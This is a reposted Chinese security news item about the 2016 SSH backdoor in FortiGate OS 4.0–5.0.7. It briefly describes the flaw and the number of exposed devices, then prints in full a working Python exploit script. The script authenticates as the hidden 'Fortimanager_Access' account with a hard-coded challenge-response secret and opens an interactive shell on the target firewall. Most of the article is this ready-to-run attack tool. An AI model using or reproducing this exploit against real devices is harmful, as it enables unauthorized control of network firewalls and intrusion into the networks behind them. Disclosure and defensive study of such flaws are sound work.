转载

FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

2016-01-13 01:12:10 来源:nosec 阅读:143次 点赞(0) 收藏

分享到:

FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

漏洞简介:

FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。

北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制权限。

在 ZoomEye 网络空间搜索引擎 上发现全球有64567个 FortiGate 防火墙。 

FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

利用脚本:

http://seclists.org/fulldisclosure/2016/Jan/26

#!/usr/bin/env python    # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7  # Usage: ./fgt_ssh_backdoor.py <target-ip>    import socket  import select  import sys  import paramiko  from paramiko.py3compat import u  import base64  import hashlib  import termios  import tty    def custom_handler(title, instructions, prompt_list):      n = prompt_list[0][0]      m = hashlib.sha1()      m.update('/x00' * 12)      m.update(n + 'FGTAbc11*xy+Qqz27')      m.update('/xA3/x88/xBA/x2E/x42/x4C/xB0/x4A/x53/x79/x30/xC1/x31/x07/xCC/x3F/xA1/x32/x90/x29/xA9/x81/x5B/x70')      h = 'AK1' + base64.b64encode('/x00' * 12 + m.digest())      return [h]      def main():      if len(sys.argv) < 2:          print 'Usage: ' + sys.argv[0] + ' <target-ip>'          exit(-1)        client = paramiko.SSHClient()      client.set_missing_host_key_policy(paramiko.AutoAddPolicy())        try:          client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)      except paramiko.ssh_exception.SSHException:          pass        trans = client.get_transport()      try:          trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)      except paramiko.ssh_exception.AuthenticationException:          pass        trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)      chan = client.invoke_shell()        oldtty = termios.tcgetattr(sys.stdin)      try:          tty.setraw(sys.stdin.fileno())          tty.setcbreak(sys.stdin.fileno())          chan.settimeout(0.0)           while True:              r, w, e = select.select([chan, sys.stdin], [], [])              if chan in r:                  try:                      x = u(chan.recv(1024))                      if len(x) == 0:                          sys.stdout.write('/r/n*** EOF/r/n')                          break                      sys.stdout.write(x)                      sys.stdout.flush()                  except socket.timeout:                      pass              if sys.stdin in r:                  x = sys.stdin.read(1)                  if len(x) == 0:                      break                  chan.send(x)       finally:          termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)    if __name__ == '__main__':      main()

参考:

https://www.reddit.com/r/netsec/comments/40lotk/ssh_backdoor_for_fortigate_os_version_4x_up_to/

http://seclists.org/fulldisclosure/2016/Jan/26

本文转载自 nosec

原文链接:

原文  http://bobao.360.cn/news/detail/2615.html
正文到此结束
Loading...